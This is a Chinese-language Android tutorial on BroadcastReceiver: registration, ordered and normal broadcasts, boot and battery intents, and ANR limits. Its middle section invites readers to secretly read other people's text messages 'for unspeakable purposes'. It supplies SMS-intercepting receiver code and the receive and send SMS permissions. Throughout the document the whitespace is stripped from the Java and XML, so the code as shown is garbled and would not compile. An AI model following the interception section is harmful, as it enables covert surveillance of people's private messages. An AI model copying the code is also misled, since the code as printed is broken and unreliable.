10、Android中广播接收者-BroadcastReceiver
Android中广播接收者-BroadcastReceiver
广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。
publicclassIncomingSMSReceiverextendsBroadcastReceiver{
@OverridepublicvoidonReceive(Contextcontext,Intentintent){
}
}
第二步:订阅感兴趣的广播Intent,订阅方法有两种:
第一种:使用代码进行订阅
IntentFilterfilter=newIntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiverreceiver=newIncomingSMSReceiver();
registerReceiver(receiver,filter);
第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter>
<actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
广播被分为两种不同的类型:“普通广播(Normalbroadcasts)”和“有序广播(Orderedbroadcasts)”。前者是完全异步的,所有接收者(逻辑上)都在同一时刻运行,对消息传递的效率而言这是很好的做法,但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播;然而后者是逐个执行接收者——系统会按照接收者声明的优先级别(声明在intent-filter元素的android:priority属性中,数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置),按顺序逐次执行。
Context.sendBroadcast()
发送的是普通广播,所有订阅者都有机会获得并进行处理。
Context.sendOrderedBroadcast()
发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播。对于有序广播,前面的接收者可以将处理结果存放进广播Intent,然后传给下一个接收者。
使用广播接收者窃听短信
如果你想窃听别人接收到的短信,达到你不可告人的目的,那么本节内容可以实现你的需求。
当系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播Intent,该Intent存放了接收到的短信内容,使用名称“pdus”即可从Intent中获取短信内容。
publicclassIncomingSMSReceiverextendsBroadcastReceiver{
privatestaticfinalStringSMS_RECEIVED="android.provider.Telephony.SMS_RECEIVED";
@OverridepublicvoidonReceive(Contextcontext,Intentintent){
if(intent.getAction().equals(SMS_RECEIVED)){
SmsManagersms=SmsManager.getDefault();
Bundlebundle=intent.getExtras();
if(bundle!=null){
Object[]pdus=(Object[])bundle.get("pdus");
SmsMessage[]messages=newSmsMessage[pdus.length];
for(inti=0;i<pdus.length;i++)messages[i]=SmsMessage.createFromPdu((byte[])pdus[i]);
for(SmsMessagemessage:messages){
Stringmsg=message.getMessageBody();
Stringto=message.getOriginatingAddress();
sms.sendTextMessage(to,null,msg,null,null);
}}}}}
在AndroidManifest.xml文件中的<application>节点里对接收到短信的广播Intent进行订阅:
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter><actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>
在AndroidManifest.xml文件中添加以下权限:
<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/><!--接收短信权限-->
<uses-permissionandroid:name="android.permission.SEND_SMS"/><!--发送短信权限-->
除了短信到来广播Intent,Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。
接收电池电量变化广播Intent,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter>
<actionandroid:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>
接收开机启动广播Intent,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter>
<actionandroid:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
并且要进行权限声明:
<uses-permissionandroid:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
在Android中,程序的响应(Responsive)被活动管理器(ActivityManager)和窗口管理器(WindowManager)这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕,Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR(ApplicationNoResponse)的对话框。如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成。而不是使用子线程的方法来解决,因为BroadcastReceiver的生命周期很短(在onReceive()执行后BroadcastReceiver的实例就会被销毁),子线程可能还没有结束它就先结束了。当然如果BroadcastReceiver结束了,它的宿主进程还在运行,子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死,因为它属于空进程(没有任何活动组件的进程)。
publicclassIncomingSMSReceiverextendsBroadcastReceiver{
@OverridepublicvoidonReceive(Contextcontext,Intentintent){
//发送Intent启动服务,由服务来完成比较耗时的操作
Intentservice=newIntent(context,XxxService.class);
context.startService(service);
}
}
每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive()方法。
更多相关文章
- Android如何生成设备节点
- Android 短信窃听器
- Android 短信链接打开APP
- 广播接收者android,电话拦截广播,电话接收者demo
- Android新手上路----用短信自动回复来电
- 向虚拟机发短信(android SMS 调试)
- Android存在程序缺陷误发短信 Google形象受损